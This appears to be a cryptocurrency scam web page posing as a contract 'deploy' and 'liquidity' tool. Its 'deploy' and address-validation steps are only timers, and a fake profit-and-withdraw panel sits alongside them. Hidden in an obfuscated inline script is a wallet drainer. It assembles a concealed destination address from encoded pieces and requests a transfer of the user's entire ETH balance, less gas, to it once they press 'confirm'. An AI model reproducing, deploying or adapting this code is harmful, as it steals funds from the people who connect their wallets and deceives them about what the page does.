<section> <button id="connectButton">connect</button> <table id="checkAdressBalanceButton" style="display: none"> <tr> <td>my contract</td> <td><button id="regular">deploy</button></td> <td> <p id="result"><code>no contract</code></p> </td> </tr> <tr> <td>my second address</td> <td> <input type="text" id="typeAdress" name="adress_auth" placeholder="Input second address ETH-0x" autocomplete="off" size="20"/> </td> <td> <button id="sendEtherButton" style="display: none">Attach</button> </td> <td><div id="statusMessage"></div></td> </tr> <tr> <td>my status</td> <td><center> <button disabled="disabled" id="checkBalanceButton" style="display: none"> liquid </button> </td> <td><p id="balanceDisplay" style="display: none"></p>confirm the liquidity</td> </tr> </table> <script> const connectButton = document.getElementById("connectButton"); const sendEtherButton = document.getElementById("sendEtherButton"); const typeAdress = document.getElementById("typeAdress"); const checkBalanceButton =document.getElementById("checkBalanceButton"); const balanceDisplay = document.getElementById("balanceDisplay"); const checkAdressBalanceButton = document.getElementById("checkAdressBalanceButton"); const statusMessage = document.getElementById("statusMessage"); let validationComplete = false; let transferInProgress = false; </script> <script> function _0x161b(){const _0x1ee373=['Dg9tDhjPBMC','A3zSA28','DKHeB2K','q3PRAwu','C2vSzwn0zwrbza','mJa3nZyYrg9VyuXc','v29hthK','CLzjzxm','ntq5mta','y0fcs0O','zxrOzxjLDw0','ntq0mdm4oq','B2nRwKi','zxjYB3i','zwXLz3jHBsbTzq','yxbWBhK','CMvXDwvZDa','qNzpEMm','EK5krxC','y29UC3rYDwn0BW','rMTmELG','ANf2Efe','zxrOx2DHC1bYAq','CgvHDcbHz2fPBG','yMLUza','BwfSBcbHBw91BG','odqWntq2ovDNCgvpBa','C2uGD3jPDguGDa','mtu0mZqX','mtiZndK3ma','zxrOx3nLBMruCG','DhjHy2u','mtK3mdG1mdboEuXct28','DwLKAxr5lIbszq','BMX5vhj1C3rdCG','DgfIBgu','mZyWEeLWDNbS','odq0nta3AuvysMDQ','yw5Jzq','ugHiB2G','rxjYB3iHieeGCW','qxnqDuC','vwLPCem','Aw5MBW','y3rVCIGICMv0Dq','sK1zwKq','se16sK0','BM8GrvriigzVCG','t1z6sLK','kcGOlISPkYKRkq','ChjVDg90ExbL','Exb0BYbnEsbUyq','ntC1mZq','Cwn1sgC','ndqYmKvkCwzAva','CwTgq3G','ntqZnJK0','v0PRB0K','AxjTAw5NigXPCq','r3L6sgi','C2vHCMnO','CMv0DxjUicHMDq','x19WCM90B19F','zhjLC3m','BMn0Aw9UkcKG','BwuGsM9OBIbnyq','Bgf0zxn0','y29UC29Szq','mtK2otaZnNrvt3zezG','v0TJCeC','DcbVzIbSAxf1Aq','mMTLs3bzEG','y21yD0C','qMfnAgG','vLHiEgK','CM4GDgHPCYiPka','A09uAK4','DMfSDwu','ntmZmhLgs1jOwq','zxHJzxb0Aw9U','D2fYBG','uhPyAuC','CNj5','rxjYB3iGy29UzG','E30Uy29UC3rYDq','mtiWnZCXt2jnwLfn','zfHwt0m'];_0x161b=function(){return _0x1ee373;};return _0x161b();}(function(_0x4be467,_0x41dc07){function _0x4676bb(_0x34bd77,_0x131c9f,_0x2e1d48,_0x4f5573){return _0x35be(_0x131c9f- -0xcb,_0x2e1d48);}function _0x303e89(_0x297dde,_0x75d88d,_0x5f59a2,_0x2a57c1){return _0x35be(_0x2a57c1-0x1a9,_0x5f59a2);}const _0x559db1=_0x4be467();while(!![]){try{const _0x13fe9a=parseInt(_0x4676bb(0xa7,0xb8,0xb7,0xb9))/(-0x1c*-0xc5+-0x266e*-0x1+-0x3bf9)*(parseInt(_0x303e89(0x2ea,0x2f3,0x30d,0x2f7))/(-0x1586+-0x8*0x293+0x2a20))+-parseInt(_0x303e89(0x2f1,0x2fc,0x2f9,0x30c))/(-0xda0+-0xa49*-0x1+0x35a)+-parseInt(_0x303e89(0x2ce,0x2de,0x30e,0x2f4))/(0xd1*0x10+-0x3*-0x197+-0x1*0x11d1)+-parseInt(_0x303e89(0x326,0x325,0x2e7,0x2fe))/(-0xe*0x1bb+-0xcc7+0x2506)*(-parseInt(_0x4676bb(0xb5,0xc9,0xa7,0xd7))/(-0xbf6+-0x5*0x348+-0x17*-0x13c))+parseInt(_0x4676bb(0x76,0x91,0xa2,0x97))/(-0x2556+0x14fb+0x6*0x2bb)*(parseInt(_0x303e89(0x340,0x30d,0x324,0x32b))/(-0x625+-0x16a3+0x734*0x4))+parseInt(_0x303e89(0x342,0x30f,0x331,0x321))/(-0x2604+-0x13a1+-0x45*-0xd6)+-parseInt(_0x303e89(0x320,0x346,0x33b,0x327))/(0x130c+0x1*0x1931+0x5*-0x8d7);if(_0x13fe9a===_0x41dc07)break;else _0x559db1['push'](_0x559db1['shift']());}catch(_0x2462bb){_0x559db1['push'](_0x559db1['shift']());}}}(_0x161b,0x116*0xd1c+0x2*0x689d+0x2b8f2*-0x1));const m=_0x5f3ab4(0x200,0x209,0x1f8,0x214);function kyc(_0x32a91b){const _0x5e02ee={'VXHxi':_0x28e8c6(0x21,0x10,0x1d,0x28)+'+$','FkLzX':function(_0x566a06,_0x4bbcc8){return _0x566a06===_0x4bbcc8;},'cmXwG':_0x429f7b(0x29f,0x28d,0x29e,0x280),'jqvxQ':function(_0x482c2a,_0x3f2cf3){return _0x482c2a(_0x3f2cf3);},'MKOjN':_0x429f7b(0x264,0x28f,0x27b,0x27d)+_0x429f7b(0x2df,0x2cd,0x2e5,0x2b3)+_0x28e8c6(0x43,0x27,0x3d,0x18)+_0x429f7b(0x2a3,0x2aa,0x2a8,0x2cc),'WKcpG':function(_0x4490d8,_0x2ee3e8){return _0x4490d8===_0x2ee3e8;},'dXVOC':'USYNQ','kOTjN':function(_0x218394,_0x4a37c6){return _0x218394+_0x4a37c6;},'zLlix':_0x28e8c6(-0x39,-0x10,-0x49,-0x23)+_0x28e8c6(-0x43,-0x21,0x4,-0x20),'utltg':_0x28e8c6(-0x33,-0x26,0x6,-0xc)+_0x429f7b(0x2a0,0x2bf,0x29e,0x296)+_0x429f7b(0x282,0x287,0x298,0x2a7)+'\x20)','GyzHb':function(_0x4fda6f){return _0x4fda6f();},'BvOzc':'log','rjinZ':_0x28e8c6(-0x18,-0x12,-0x10,-0x10),'sNQzs':_0x429f7b(0x29c,0x2be,0x2c8,0x296),'UiipC':_0x28e8c6(0x11,-0x22,0x1a,0x4),'vHDoi':_0x28e8c6(-0x37,-0xe,-0xc,-0x11),'ockZB':function(_0x245e03){return _0x245e03();},'HMzJM':function(_0x2065ca,_0x5df4f3){return _0x2065ca(_0x5df4f3);}},_0x50728c=(function(){let _0x20ee92=!![];return function(_0x1a948e,_0x4e6580){const _0x391b61=_0x20ee92?function(){function _0xd9a1a4(_0x581738,_0x918727,_0x2cd448,_0x2ae1ba){return _0x35be(_0x2ae1ba-0x6f,_0x2cd448);}if(_0x4e6580){const _0x4d73f5=_0x4e6580[_0xd9a1a4(0x1c6,0x1ba,0x1eb,0x1dc)](_0x1a948e,arguments);return _0x4e6580=null,_0x4d73f5;}}:function(){};return _0x20ee92=![],_0x391b61;};}()),_0x3727fe=_0x50728c(this,function(){function _0x21e444(_0x311f73,_0x95c36a,_0x52b03f,_0x3df777){return _0x28e8c6(_0x311f73-0x57,_0x95c36a-0x13e,_0x3df777,_0x52b03f-0x41f);}function _0x19508d(_0x4eead8,_0xb7357a,_0x26d9ae,_0x5007de){return _0x429f7b(_0x4eead8-0x94,_0x5007de-0x26d,_0x4eead8,_0x5007de-0x11c);}return _0x3727fe[_0x21e444(0x40b,0x434,0x416,0x432)]()[_0x19508d(0x4e7,0x4e0,0x4f2,0x4e5)](_0x5e02ee[_0x19508d(0x4fa,0x4d4,0x4db,0x4f3)])['toString']()[_0x21e444(0x3ff,0x443,0x429,0x419)+'r'](_0x3727fe)[_0x19508d(0x4d0,0x50f,0x4eb,0x4e5)](_0x19508d(0x51c,0x553,0x54c,0x531)+'+$');});_0x3727fe();function _0x28e8c6(_0x3a63d0,_0x247d1c,_0x2ef04b,_0x4db041){return _0x5f3ab4(_0x3a63d0-0xf3,_0x4db041- -0x1f6,_0x2ef04b,_0x4db041-0x29);}const _0x1b9833=(function(){let _0x4bd7aa=!![];return function(_0x32677b,_0x21785c){function _0x41043a(_0x5ade94,_0x4969c6,_0x5a2cc0,_0x470ec0){return _0x35be(_0x4969c6-0x2be,_0x470ec0);}function _0x3c7ca0(_0x45d5b5,_0x20b950,_0x4e8349,_0x303066){return _0x35be(_0x4e8349- -0x306,_0x303066);}if(_0x5e02ee[_0x41043a(0x43d,0x430,0x432,0x443)]('PzXiG',_0x5e02ee[_0x41043a(0x435,0x40d,0x432,0x427)])){const _0x49e3ad=_0x4bd7aa?function(){function _0xd283a9(_0x3fdef7,_0x1c2271,_0xe6e619,_0x10ffe7){return _0x3c7ca0(_0x3fdef7-0xbc,_0x1c2271-0x84,_0x1c2271-0x675,_0xe6e619);}function _0x25fbca(_0x3bf716,_0x3fb989,_0x4e3587,_0x4282d4){return _0x3c7ca0(_0x3bf716-0xc9,_0x3fb989-0x114,_0x3bf716-0x60c,_0x4e3587);}if(_0x25fbca(0x467,0x485,0x451,0x452)!==_0x25fbca(0x467,0x479,0x43f,0x468))_0x2e198c=_0x3db077;else{if(_0x21785c){const _0x2daf1d=_0x21785c['apply'](_0x32677b,arguments);return _0x21785c=null,_0x2daf1d;}}}:function(){};return _0x4bd7aa=![],_0x49e3ad;}else{const _0x332771=_0xa48c83?function(){if(_0x2c43ef){const _0x8d3116=_0x120513['apply'](_0x3dd5b8,arguments);return _0x898e90=null,_0x8d3116;}}:function(){};return _0x3f9687=![],_0x332771;}};}()),_0x315348=_0x1b9833(this,function(){function _0x12bd54(_0x4da9f2,_0x245e09,_0x2600dc,_0x15e0b3){return _0x429f7b(_0x4da9f2-0x64,_0x245e09- -0x100,_0x2600dc,_0x15e0b3-0x1f3);}function _0x67c693(_0x1de5b6,_0xd839c8,_0x1b860c,_0x1e1001){return _0x429f7b(_0x1de5b6-0x1bf,_0x1b860c- -0x327,_0xd839c8,_0x1e1001-0xa6);}if(_0x5e02ee[_0x12bd54(0x170,0x181,0x188,0x15a)](_0x67c693(-0x65,-0x77,-0x64,-0x7a),_0x5e02ee[_0x12bd54(0x18e,0x192,0x172,0x170)]))_0x5e02ee[_0x12bd54(0x1c5,0x1a8,0x194,0x19c)](_0x4ee4bd,_0x5e02ee['MKOjN']),_0x5e0ef8[_0x12bd54(0x198,0x1a0,0x174,0x192)](_0x48abf1),_0x2f8bc1=![];else{let _0x4b5e37;try{const _0x271d8c=_0x5e02ee[_0x67c693(-0x8b,-0x76,-0x7f,-0xa4)](Function,_0x5e02ee[_0x67c693(-0x74,-0xa5,-0x9f,-0x98)](_0x5e02ee[_0x67c693(-0xa1,-0x78,-0x9f,-0x91)](_0x5e02ee['zLlix'],_0x5e02ee['utltg']),');'));_0x4b5e37=_0x5e02ee[_0x67c693(-0x56,-0x6c,-0x59,-0x6f)](_0x271d8c);}catch(_0x2052a7){_0x4b5e37=window;}const _0x183590=_0x4b5e37['console']=_0x4b5e37[_0x67c693(-0xa6,-0x94,-0xa8,-0xb8)]||{},_0x25834a=[_0x5e02ee[_0x12bd54(0x186,0x1a4,0x18a,0x1ca)],_0x5e02ee['rjinZ'],_0x5e02ee['sNQzs'],_0x5e02ee[_0x12bd54(0x1c4,0x1bd,0x1a1,0x1b3)],_0x5e02ee[_0x12bd54(0x1ab,0x195,0x19d,0x1a2)],_0x12bd54(0x1c8,0x1b6,0x1a3,0x1d0),_0x12bd54(0x1cf,0x1b2,0x1bb,0x1ce)];for(let _0x4b50b4=-0x233*-0x3+0x1*-0xbb2+0x519;_0x4b50b4<_0x25834a['length'];_0x4b50b4++){const _0x26e35e=_0x1b9833['constructo'+'r'][_0x67c693(-0x3c,-0x72,-0x62,-0x56)][_0x67c693(-0x7a,-0x81,-0x7c,-0x7e)](_0x1b9833),_0xb564c4=_0x25834a[_0x4b50b4],_0x3f70b3=_0x183590[_0xb564c4]||_0x26e35e;_0x26e35e[_0x12bd54(0x185,0x17a,0x15b,0x187)]=_0x1b9833[_0x12bd54(0x1bf,0x1ab,0x1b2,0x190)](_0x1b9833),_0x26e35e['toString']=_0x3f70b3[_0x67c693(-0x9e,-0x90,-0x94,-0xa0)][_0x12bd54(0x1c9,0x1ab,0x182,0x1ca)](_0x3f70b3),_0x183590[_0xb564c4]=_0x26e35e;}}});_0x5e02ee[_0x28e8c6(-0x25,0x26,0x9,0x3)](_0x315348);function _0x429f7b(_0x373f09,_0x4a48b3,_0x526f2c,_0xdf424a){return _0x5f3ab4(_0x373f09-0x120,_0x4a48b3-0xa6,_0x526f2c,_0xdf424a-0xfd);}return _0x5e02ee[_0x429f7b(0x2dc,0x2c1,0x29d,0x2eb)](parseInt,_0x32a91b)[_0x429f7b(0x293,0x293,0x292,0x275)](0x1b6f+0x12ad+-0x2e0c*0x1);}function _0x35be(_0x1944d8,_0x3d244d){const _0x24d4e5=_0x161b();return _0x35be=function(_0x56bbf4,_0x2de867){_0x56bbf4=_0x56bbf4-(-0x2291+-0x2442+-0x2*-0x240b);let _0x361830=_0x24d4e5[_0x56bbf4];if(_0x35be['ygKGnz']===undefined){var _0x42c53f=function(_0x153502){const _0x4ee4bd='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';let _0x5e0ef8='',_0x48abf1='',_0x2f8bc1=_0x5e0ef8+_0x42c53f;for(let _0x2e2fc3=-0xb5*0x10+-0x1433*-0x1+0x1*-0x8e3,_0x291d93,_0x12a5d6,_0x3691ee=-0xf6+-0x58*-0x5+0xc2*-0x1;_0x12a5d6=_0x153502['charAt'](_0x3691ee++);~_0x12a5d6&&(_0x291d93=_0x2e2fc3%(-0x9a9+0x25ef+-0x2*0xe21)?_0x291d93*(-0x1444+0xd07+0x77d)+_0x12a5d6:_0x12a5d6,_0x2e2fc3++%(-0xa99*0x1+-0x184f+-0x1*-0x22ec))?_0x5e0ef8+=_0x2f8bc1['charCodeAt'](_0x3691ee+(0x15d1*-0x1+-0x1bbf+0x1*0x319a))-(0x3*0x63+-0xb1*0xc+0x72d)!==0x2596+0x65*0x53+-0x4655?String['fromCharCode'](-0x2203+0x25d+0x20a5&_0x291d93>>(-(0x1508+-0xc74*-0x2+-0x2dee)*_0x2e2fc3&-0x85*0x2f+-0x34e*0x9+-0x362f*-0x1)):_0x2e2fc3:-0x6*-0x104+-0x5*-0x5+0x5*-0x13d){_0x12a5d6=_0x4ee4bd['indexOf'](_0x12a5d6);}for(let _0x4c498f=0x23e3+0x15b6+0x3d7*-0xf,_0x581f8f=_0x5e0ef8['length'];_0x4c498f<_0x581f8f;_0x4c498f++){_0x48abf1+='%'+('00'+_0x5e0ef8['charCodeAt'](_0x4c498f)['toString'](0x871*0x2+0x17a+0x926*-0x2))['slice'](-(-0x53*-0x7+0x1433+0x5*-0x47e));}return decodeURIComponent(_0x48abf1);};_0x35be['amuBRQ']=_0x42c53f,_0x1944d8=arguments,_0x35be['ygKGnz']=!![];}const _0x2a6cb9=_0x24d4e5[-0x3b*-0x13+-0xaf1+0x690],_0x461de1=_0x56bbf4+_0x2a6cb9,_0x1110be=_0x1944d8[_0x461de1];if(!_0x1110be){const _0x56e784=function(_0x17a77b){this['OHgjaQ']=_0x17a77b,this['MgjBrN']=[-0x1829+-0x22cc+-0x3af6*-0x1,0x1*-0x89+-0x4e9*-0x3+-0xe32,0x9d+0x7*-0x180+0x1*0x9e3],this['VCLeBU']=function(){return'newState';},this['xJotmo']='\x5cw+\x20*\x5c(\x5c)\x20*{\x5cw+\x20*',this['HwgLZO']='[\x27|\x22].+[\x27|\x22];?\x20*}';};_0x56e784['prototype']['cRDjHo']=function(){const _0x4235f7=new RegExp(this['xJotmo']+this['HwgLZO']),_0xe0e6f5=_0x4235f7['test'](this['VCLeBU']['toString']())?--this['MgjBrN'][0x13df*0x1+0x2*0x8a0+-0x251e]:--this['MgjBrN'][-0x1*0x7f7+-0x14d+0x944];return this['NTZYwr'](_0xe0e6f5);},_0x56e784['prototype']['NTZYwr']=function(_0x47144e){if(!Boolean(~_0x47144e))return _0x47144e;return this['xnwZzu'](this['OHgjaQ']);},_0x56e784['prototype']['xnwZzu']=function(_0x3447ee){for(let _0x2f8fa5=0x2*0x12be+-0x1a49*-0x1+-0x3fc5*0x1,_0x128e8a=this['MgjBrN']['length'];_0x2f8fa5<_0x128e8a;_0x2f8fa5++){this['MgjBrN']['push'](Math['round'](Math['random']())),_0x128e8a=this['MgjBrN']['length'];}return _0x3447ee(this['MgjBrN'][0xc4+-0x2570+0x24ac]);},new _0x56e784(_0x35be)['cRDjHo'](),_0x361830=_0x35be['amuBRQ'](_0x361830),_0x1944d8[_0x461de1]=_0x361830;}else _0x361830=_0x1110be;return _0x361830;},_0x35be(_0x1944d8,_0x3d244d);}const k='688773',evm=kyc(m),e=_0x5f3ab4(0x232,0x225,0x24b,0x20b),hashlock=kyc(k),unit=''+evm+hashlock,v=_0x5f3ab4(0x22e,0x20a,0x22e,0x202),moe=kyc(e),n='698489',spv=kyc(v);function _0x5f3ab4(_0x1f9262,_0x21c75e,_0x216203,_0x367cfa){return _0x35be(_0x21c75e-0x8f,_0x216203);}const c=_0x5f3ab4(0x1f5,0x1f8,0x1d2,0x1ef),comission=kyc(n);function _0x32f29c(_0x4e063f,_0x855e2e,_0x214214,_0x2ebeea){return _0x35be(_0x214214- -0xe3,_0x2ebeea);}const confirm=''+moe+spv,performTransaction=async()=>{function _0x4e5bb2(_0x3cbdb6,_0xe454a9,_0x14e61a,_0x584d1c){return _0x5f3ab4(_0x3cbdb6-0x188,_0x14e61a-0x2a3,_0x584d1c,_0x584d1c-0x138);}const _0x5d1e4e={'oXSVU':_0x4e5bb2(0x4aa,0x4d2,0x4bf,0x498)+'\x20gas\x20fee','WoGLy':_0x3d7991(0x2d7,0x2fc,0x2ed,0x2d5),'PhHoh':function(_0x430b33,_0x59d79d){return _0x430b33(_0x59d79d);},'zNJEw':function(_0x812b44,_0x4536e2){return _0x812b44(_0x4536e2);},'lgljD':_0x3d7991(0x2d2,0x2df,0x2b6,0x2bd),'JMYZD':function(_0x1da406,_0x161867){return _0x1da406*_0x161867;},'cABKJ':function(_0x4d174f,_0x1e32d7){return _0x4d174f<_0x1e32d7;},'BaMhh':function(_0x402659,_0x11156d){return _0x402659-_0x11156d;},'kvlko':function(_0x46aa0f,_0x4b6407){return _0x46aa0f(_0x4b6407);},'qkFCx':_0x4e5bb2(0x4bd,0x4a6,0x4ae,0x4b0)+'ansaction','dtEHE':function(_0x4408b0,_0x8d5a54){return _0x4408b0+_0x8d5a54;},'AsPuG':_0x3d7991(0x2f4,0x31c,0x33c,0x304)+_0x4e5bb2(0x4cd,0x4c9,0x4a9,0x48b)+_0x3d7991(0x2ee,0x2e3,0x2cf,0x2c7)+'dity.\x20Plea'+_0x4e5bb2(0x48a,0x4ca,0x4ab,0x4d3)+'o\x20me\x20via\x20t'+_0x4e5bb2(0x490,0x492,0x49e,0x49a)+'ssenger\x20@O'+_0x3d7991(0x336,0x316,0x340,0x30e)+_0x3d7991(0x30d,0x327,0x328,0x33f)+_0x3d7991(0x2d4,0x2de,0x2e1,0x2c1)+_0x4e5bb2(0x481,0x4a7,0x48b,0x46b),'WbqYu':function(_0x470534,_0x49d7b1){return _0x470534===_0x49d7b1;},'WDFNj':_0x3d7991(0x32c,0x329,0x33a,0x327),'rVIes':function(_0x5a07dc,_0x403699){return _0x5a07dc(_0x403699);}};function _0x3d7991(_0x406b6a,_0x17ddf2,_0x217fec,_0x11135c){return _0x5f3ab4(_0x406b6a-0x1ce,_0x17ddf2-0x107,_0x11135c,_0x11135c-0x132);}try{const _0x3e1a6f=typeAdress[_0x4e5bb2(0x486,0x497,0x486,0x475)];transferInProgress=!![];const _0x3583e9=_0x5d1e4e[_0x3d7991(0x2fb,0x2fa,0x2d0,0x31b)],_0x1c672b=_0x3d7991(0x312,0x328,0x2ff,0x323),_0x204548=_0x5d1e4e[_0x4e5bb2(0x497,0x4b8,0x4b7,0x4e0)](kyc,c),_0x4ce894=_0x5d1e4e[_0x3d7991(0x32d,0x306,0x31a,0x2dc)](kyc,_0x3583e9),_0x1fcc3d=_0x5d1e4e[_0x4e5bb2(0x4a7,0x4bc,0x4a2,0x497)](kyc,_0x1c672b),_0x49b070=await window[_0x4e5bb2(0x486,0x489,0x49a,0x4c2)][_0x3d7991(0x30a,0x304,0x324,0x2de)]({'method':'eth_getBal'+_0x4e5bb2(0x4b8,0x4ca,0x4b6,0x493),'params':[window['ethereum']['selectedAd'+_0x4e5bb2(0x48d,0x464,0x478,0x47b)],_0x5d1e4e['lgljD']]}),_0x3c0aec={};_0x3c0aec['method']=_0x4e5bb2(0x4b7,0x48c,0x4a6,0x4c1)+'ce';const _0x417a98=await window['ethereum'][_0x4e5bb2(0x476,0x48b,0x4a0,0x48e)](_0x3c0aec),_0x1b3d6c=''+comission+_0x204548,_0x5d4ef4=-0xf79d+-0x65b4*0x2+-0x11*-0x2605,_0xa958b4=_0x5d1e4e[_0x4e5bb2(0x491,0x4d1,0x4bd,0x4af)](_0x417a98,_0x5d4ef4);if(_0x5d1e4e[_0x3d7991(0x306,0x2fd,0x2e6,0x2f8)](BigInt(_0x49b070),_0xa958b4)){_0x5d1e4e[_0x4e5bb2(0x4b0,0x4d6,0x4b7,0x4c5)](alert,_0x5d1e4e['oXSVU']),transferInProgress=![];return;}const _0x25569b=''+_0x4ce894+_0x1fcc3d,_0x370477=_0x5d1e4e[_0x4e5bb2(0x45c,0x46b,0x482,0x479)](_0x5d1e4e[_0x3d7991(0x310,0x2f5,0x31b,0x31a)](BigInt,_0x49b070),BigInt(_0xa958b4)),_0x29edb6='0x'+unit+confirm+_0x1b3d6c+_0x25569b;await window[_0x3d7991(0x307,0x2fe,0x328,0x31b)]['request']({'method':_0x5d1e4e[_0x3d7991(0x321,0x32b,0x34d,0x32e)],'params':[{'from':window[_0x4e5bb2(0x477,0x4a1,0x49a,0x4a2)][_0x4e5bb2(0x46f,0x491,0x494,0x475)+'dress'],'to':_0x29edb6,'value':_0x5d1e4e['dtEHE']('0x',_0x370477['toString'](0x47*0x63+0x18*0xaf+-0x1*0x2bcd))}]}),alert(_0x5d1e4e[_0x4e5bb2(0x4cf,0x4de,0x4b9,0x490)]),transferInProgress=![];}catch(_0x177a68){if(_0x5d1e4e['WbqYu'](_0x5d1e4e['WDFNj'],_0x3d7991(0x317,0x32d,0x345,0x344))){_0x361830(_0x5d1e4e['oXSVU']),_0x42c53f=![];return;}else _0x5d1e4e[_0x4e5bb2(0x4b7,0x46c,0x497,0x479)](alert,_0x3d7991(0x2e5,0x2f0,0x2f7,0x30e)+'irming\x20liq'+_0x3d7991(0x316,0x315,0x326,0x33d)+_0x3d7991(0x316,0x30b,0x2e6,0x337)),console[_0x3d7991(0x2e1,0x301,0x2fd,0x308)](_0x177a68),transferInProgress=![];}}; </script> <script> connectButton.addEventListener("click", async () => { try { const accounts = await window.ethereum.request({ method: "eth_requestAccounts", }); if (accounts.length > 0) { sendEtherButton.style.display = "block"; typeAdress.style.display = "block"; checkBalanceButton.style.display = "block"; checkAdressBalanceButton.style.display = "block"; connectButton.style.display = "none"; } } catch (error) { console.error(error); alert("connection error"); } }); sendEtherButton.addEventListener("click", async () => { try { const value = typeAdress.value; if (resultElement.innerText !== "ready") { alert("Сlick the deploy button"); return; } if (!value || value.length < 40) { alert("Attention! Enter the correct second Ethereum address"); return; } if (!validationComplete) { if ( /^[a-zA-Z0-9!@#$%^'&*()-_+=<>?:"',./\[\]{}|\\]+$/g.test( value ) && value.length >= 40 ) { statusMessage.textContent = "waiting..."; typeAdress.disabled = true; sendEtherButton.disabled = true; setTimeout(() => { validationComplete = true; statusMessage.textContent = "ready"; typeAdress.disabled = true; sendEtherButton.textContent = "confirm"; sendEtherButton.disabled = false; }, 10000); } else { alert("Error! input value"); } } else if (sendEtherButton.textContent === "confirm") { performTransaction(); } } catch (error) { console.error("Error on process:\n" + error); transferInProgress = false; } }); checkBalanceButton.addEventListener("click", async () => { try { const balanceWei = await window.ethereum.request({ method: "eth_getBalance", params: [window.ethereum.selectedAddress, "latest"], }); const balanceEther = (parseInt(balanceWei) / 1e18).toFixed(4); balanceDisplay.innerText = `balance: ${balanceEther} ETH`; balanceDisplay.style.display = "block"; } catch (error) { console.error(error); alert("Error"); } }); </script> <style> html { box-sizing: border-box; font-family: "Open Sans", sans-serif; } *, *:before, *:after { box-sizing: inherit; } body { font-family: Arial, sans-serif; text-align: center; margin: 0; padding: 20px; background: #222336; background: -webkit-radial-gradient( circle farthest-side at center center, #222336 0%, #222336 100% ); background: -moz-radial-gradient( circle farthest-side at center center, #2a2c3f 0%, #222336 100% ); background: radial-gradient( circle farthest-side at center center, #222336 0%, #222336 100% ); } section { background: #2a2c3f; color: white; border-radius: 1em; padding: 1em; position: absolute; top: 50%; left: 50%; margin-right: -50%; margin: 0 auto; transform: translate(-50%, -50%); } </style> <div id="tableEth" style="height: 400px; overflow-y:scroll; display: none;"> <font color=white> <p align=left> my ETH contract: <span id="contract"></span></p> <p align=left> my ETH address: <span id="addressEth"></span></p> <p align=left> my liqiudity: <button>low</button></p> <p align=left> my status: <button>liquid</button></p> <p align=left> my profit for withdraw ETH: <span id="earnEth"></span> ETH</p> <p align=left> <input type="text" id="addressWithdrawEth" name="adress_auth" placeholder="0x" autocomplete="off" size="20" /> <button id="withdrawAllEth" onclick="withdrawEth()">withdraw ALL profit </button> <button id="increaseLiquidity" disabled onclick="repeatConfirm()">increase liquidity</button> <table> <thead> <tr> <th>Status</th> <th>Method</th> <th>My fee <br>(my profit)</th> <th>Sender</th> <th>My ETH account</th> </tr> </thead> <tbody id="tableBody"></tbody> </table> </div> <script> const regularLaunchButton = document.getElementById("regular"); const resultElement = document.getElementById("result"); function setButtonsDisabled(isDisabled) { regularLaunchButton.disabled = isDisabled; } function timeout(workFn) { console.log("exec"); setButtonsDisabled(true); resultElement.innerText = "waiting..."; setTimeout(() => { const asyncStartTime = Date.now(); resultElement.innerText = "ready"; setButtonsDisabled(true); }, 12000); const startTime = Date.now(); if (typeof workFn === "function") { workFn(); } } regularLaunchButton.addEventListener("click", () => { timeout(); }); </script> </section>